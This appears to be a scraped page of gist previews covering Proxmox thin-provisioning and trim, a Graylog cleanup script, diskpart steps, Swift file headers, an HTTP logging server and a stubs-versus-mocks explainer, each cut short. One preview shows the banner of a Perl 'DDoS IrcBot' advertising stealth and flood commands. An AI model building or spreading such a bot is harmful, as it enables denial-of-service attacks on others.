hostberg

Proxmox with LVM-thin and why we should use Trim/Discard

Excerpts from the Proxmox VE Administration Guide]

LVM normally allocates blocks when you create a volume. LVM thin pools instead allocates blocks when they are written. This behaviour is called thin-provisioning, because volumes can be much larger than physically available space.

8.10.2. Trim/Discard It is good practice to run fstrim (discard) regularly on VMs and containers. This releases data blocks that the filesystem isn’t using anymore. It reduces data usage and resource load. Most modern operating systems issue such discard commands to their disks regularly. You only need to ensure that the Virtual Machines enable the disk discard option.

hkraal

#!/usr/bin/env python
"""
# Remove data from Graylog.

This script makes it possible to selectively remove data from an index set.

### Usage

* Setup an SSH tunnel to Graylog and Elasticsearch.

henrytriplette

Select the hard drive

From administrator cmd run these commands to identify and select the hard drive

diskpart
 
list disk
 
sel disk 

Assign it a drive letter

Akhu

//
//  Article.swift
//  Veille
//
//  Created by Anthony Da Cruz on 26/01/2018.
//  Copyright © 2018 Anthony Da Cruz. All rights reserved.
//

import Foundation
import CoreData

bpolania

// MIT License

// Copyright (c) 2018 Boris Polania

// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:

Misairu-G

Reddit post (Archived)

Table of Content

• What to expect?
  • Some TLDR about the idea behind
• Prerequisites
  • Hardware
  • System & Software
• Update: Attention for MUXless laptop

Cherishao

#!/usr/bin/perl
 
######################################################################################################################
######################################################################################################################
##  DDoS Perl IrcBot v1.0 / 2017 by flood.ro Team       ## [ Help ] ###########################################
##      Stealth MultiFunctional IrcBot writen in Perl          #######################################################
##        Teste on every system with PERL instlled             ##  !u @system                                       ##
##                                                             ##  !u @version                                      ##
##     This is a free program used on your own risk.           ##  !u @channel                                      ##
##        Created for educational purpose only.                ##  !u @flood                                        ##

mdonkers

#!/usr/bin/env python3
"""
License: MIT License
Copyright (c) 2023 Miel Donkers

Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer

huguesbr

//
//  NSDataExtensions.swift
//  MAPO
//
//  Created by Hugues Bernet-Rollande on 21/3/16.
//  Copyright © 2016 WB Technologies. All rights reserved.
//

import Foundation

mlovic

This gist aims to explain the difference between stubs and mocks and when each should be used. For an introduction to stubs and mocks, start somewhere else, like here.

 

• Stub: used to isolate the object under test from its dependencies, preventing the test from being influenced by code outside the object. This way the test can't be made to fail or be broken by code which is not part of the specific functionality being tested. Stubs also lead to less code being run, which helps keep tests fast. A stub has no expectations. It doesn't care if it is called or how many times.

  For example, you might stub out a message sent to a database connection if all you are trying to test is the type of the method's return value.